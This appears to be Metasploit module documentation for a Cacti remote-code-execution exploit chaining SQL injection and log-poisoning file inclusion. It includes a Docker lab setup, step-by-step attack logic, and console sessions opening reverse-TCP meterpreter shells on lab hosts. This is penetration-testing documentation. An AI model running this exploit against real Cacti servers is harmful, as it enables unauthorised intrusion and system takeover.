Cacti RCE via SQLi (CVE-2023-49085) and LFI (CVE-2023-49084)

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+## Vulnerable Application
+
+This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section.
+
+The module implements a `check` method that makes sure `pollers.php` is accessible. It also tries to run a basic time-cased SQL injection that will confirm if the application is vulnerable. It also bypass the [fix](https://github.com/Cacti/cacti/commit/4beb66dbe2c571c3216834c029bde2e951b401cf#diff-60434fdc6c83f03e69846c2640319eeee39da1b477e76e1ca0dca0519bbc9651) added in version 1.2.25.
+
+The exploit will do the following:
+- Login with the provided credentials
+- Perform a serie of SQL injections to:
+  - backup the current log file path and add a new path to the `settings` table
+  - insert the new log file path to the External Links table (`external_links`)
+  - add permission to access this external link to the current user (`user_auth_realm`)
+  - Poison the log file to add the payload stager
+- Trigger the payload by accessing the external link page (`link.php)`
+- Cleanup the SQL tables that were modified to their original states
+- Remove the new log file that contains the stager
+
+### Docker installation of Cacti version 1.2.25
+- Create the following files (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169)):
+  - `docker-compose.yml`:
+    ```
+    version: '2'
+    services:
+      web:
+        build: ./cacti
+        ports:
+         - "8080:80"
+        depends_on:
+         - db
+        entrypoint:
+         - bash
+         - /entrypoint.sh
+        volumes:
+         - ./entrypoint.sh:/entrypoint.sh
+        command: apache2-foreground
+      db:
+       image: mysql:5.7
+       environment:
+        - MYSQL_ROOT_PASSWORD=root
+        - MYSQL_DATABASE=cacti
+    ```
+  - `entrypoint.sh`:
+    ```
+    #!/bin/bash
+    set -ex
+
+    wait-for-it db:3306 -t 300 -- echo "database is connected"
+    if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
+        mysql --host=db --user=root --password=root cacti < /var/www/html/cacti/cacti.sql
+        mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
+        mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
+    fi
+
+    chown www-data:www-data -R /var/www/html
+    # first arg is `-f` or `--some-option`
+    if [ "${1#-}" != "$1" ]; then
+      set -- apache2-foreground "$@"
+    fi
+
+    exec "$@"
+    ```
+- Create a `./cacti/` directory with `mkdir cacti`
+- Add the following files in the `./cacti/` folder (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/base/cacti/1.2.22):
+  - `Dockerfile`:
+    ```
+    FROM php:7.4-apache
+
+    RUN apt-get update && \
+        apt-get install -y --no-install-recommends rrdtool snmp wget ca-certificates libsnmp-dev default-mysql-client \
+                wait-for-it libjpeg62-turbo-dev libpng-dev libfreetype6-dev libgmp-dev libldap2-dev libicu-dev
+
+    RUN docker-php-ext-configure gd --with-freetype --with-jpeg &&\
+        docker-php-ext-configure intl &&\
+        docker-php-ext-configure pcntl --enable-pcntl &&\
+        docker-php-ext-install pdo_mysql snmp gmp ldap sockets gd intl pcntl gettext
+
+    RUN mkdir /var/www/html/cacti &&\
+        wget -qO- https://files.cacti.net/cacti/linux/cacti-1.2.25.tar.gz | tar zx -C /var/www/html/cacti --strip-components 1
+
+    COPY config.php /var/www/html/cacti/include/config.php
+    COPY cacti.ini /usr/local/etc/php/conf.d/cacti.ini
+    ```
+  - `cacti.ini`
+    ```
+    display_errors=off
+    memory_limit=512M
+    date.timezone=UTC
+    max_execution_time=120
+    ```
+  - `config.php`
+    ```
+    <?php
+    $database_type     = 'mysql';
+    $database_default  = 'cacti';
+    $database_hostname = 'db';
+    $database_username = 'root';
+    $database_password = 'root';
+    $database_port     = '3306';
+    $database_retries  = 5;
+    $database_ssl      = false;
+    $database_ssl_key  = '';
+    $database_ssl_cert = '';
+    $database_ssl_ca   = '';
+    $database_persist  = false;
+    $poller_id = 1;
+    $url_path = '/cacti';
+    $cacti_session_name = 'Cacti';
+    $cacti_db_session = false;
+    $disable_log_rotation = false;
+    ```
+- Run `docker-compose up`
+- Access http://127.0.0.1:8080
+- Login with the `admin` user (password: `admin`)
+- Follow the installation steps (accept every default settings and ignore the pre-installation checks suggestions)
+
+Note that other version can be installed this way by changing the `tar` file name in `Dockerfile` (`cacti-1.2.25.tar.gz`).
+
+
+### Cacti on Windows
+Download and run a Cacti installer from [here](https://files.cacti.net/cacti/windows/Archive/). The `admin` password should be put in a file called `Cacti-Passwords.txt` by the installer, which is in the same location the installer was run.
+Follow the same installation steps as for the Docker installation.
+
+
+### Setup a new user
+- Login with the `admin` user (password: `admin`)
+- Go to `Configuration` > `Users`
+- Click on the `+` sign
+- Enter the `User Name`, `Password` and check the `Enabled` option.
+- Click `Create`
+- Go to the `Permissions` tab and set the `Sites/Devices/Data` permission in `General Administration`
+- Click `Save`
+
+
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use exploit/multi/http/cacti_pollers_sqli_rce`
+1. Do: `set target <target>`
+1. Do: `set payload <payload>`
+1. Do: `run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password>`
+1. You should get a shell.
+
+## Options
+
+### USERNAME
+The user to login with (default `admin`).
+
+### PASSWORD
+The password to login with (default `admin`)
+
+### TARGETURI
+The base URI of Cacti (default `/cacti`).
+
+
+## Scenarios
+
+### Cacti version 1.2.25 on Docker installation
+```
+msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 0
+target => 0
+msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
+payload => cmd/linux/http/x64/meterpreter/reverse_tcp
+msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=127.0.0.1 rport=8080 lhost=192.168.144.1 username=msfuser password=12345678
+
+[*] Started reverse TCP handler on 192.168.144.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Checking Cacti version
+[+] The web server is running Cacti version 1.2.25
+[*] Attempting login with user `msfuser` and password `12345678`
+[+] Logged in
+[*] Checking permissions to access `pollers.php`
+[*] Attempting SQLi to check if the target is vulnerable
+[+] The target is vulnerable.
+[*] Backing up the current log file path and adding a new path (log/cacti520.log) to the `settings` table
+[*] Inserting the log file path `log/cacti520.log` to the external links table
+[*] Getting the user ID and setting permissions (it might take a few minutes)
+[*] Logging again to apply new settings and permissions
+[*] Getting the CSRF token to login
+[*] Attempting login with user `msfuser` and password `12345678`
+[+] Logged in
+[*] Poisoning the log
+[*] Triggering the payload
+[*] Sending stage (3045380 bytes) to 192.168.144.1
+[*] Cleaning up log file
+[*] Meterpreter session 8 opened (192.168.144.1:4444 -> 192.168.144.1:51181) at 2024-01-29 22:00:19 +0100
+[*] Cleaning up external link using SQLi
+[*] Cleaning up permissions using SQLi
+[*] Cleaning up the log path in `settings` table using SQLi
+
+meterpreter > getuid
+Server username: www-data
+meterpreter > sysinfo
+Computer     : 172.25.0.3
+OS           : Debian 11.5 (Linux 6.5.11-linuxkit)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+```
+
+### Cacti version 1.2.24 on Windows 11
+```
+msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 1
+target => 1
+msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
+payload => cmd/windows/http/x64/meterpreter/reverse_tcp
+msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=192.168.144.134 lhost=192.168.144.1 username=msfuser password=12345678
+
+[*] Started reverse TCP handler on 192.168.144.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Checking Cacti version
+[+] The web server is running Cacti version 1.2.24
+[*] Attempting login with user `msfuser` and password `12345678`
+[+] Logged in
+[*] Checking permissions to access `pollers.php`
+[*] Attempting SQLi to check if the target is vulnerable
+[+] The target is vulnerable.
+[*] Backing up the current log file path and adding a new path (log/cacti715.log) to the `settings` table
+[*] Inserting the log file path `log/cacti715.log` to the external links table
+[*] Getting the user ID and setting permissions (it might take a few minutes)
+[*] Logging again to apply new settings and permissions
+[*] Getting the CSRF token to login
+[*] Attempting login with user `msfuser` and password `12345678`
+[+] Logged in
+[*] Poisoning the log
+[*] Triggering the payload
+[*] Sending stage (200774 bytes) to 192.168.144.134
+[*] Cleaning up log file
+[*] Meterpreter session 7 opened (192.168.144.1:4444 -> 192.168.144.134:64144) at 2024-01-29 21:58:59 +0100
+[*] Cleaning up external link using SQLi
+[*] Cleaning up permissions using SQLi
+[*] Cleaning up the log path in `settings` table using SQLi
+
+meterpreter > getuid
+Server username: NT AUTHORITY\SYSTEM
+meterpreter > sysinfo
+Computer        : DESKTOP-26CQRHP
+OS              : Windows 11 (10.0 Build 22000).
+Architecture    : x64
+System Language : en_US
+Domain          : WORKGROUP
+Logged On Users : 2
+Meterpreter     : x64/windows
+```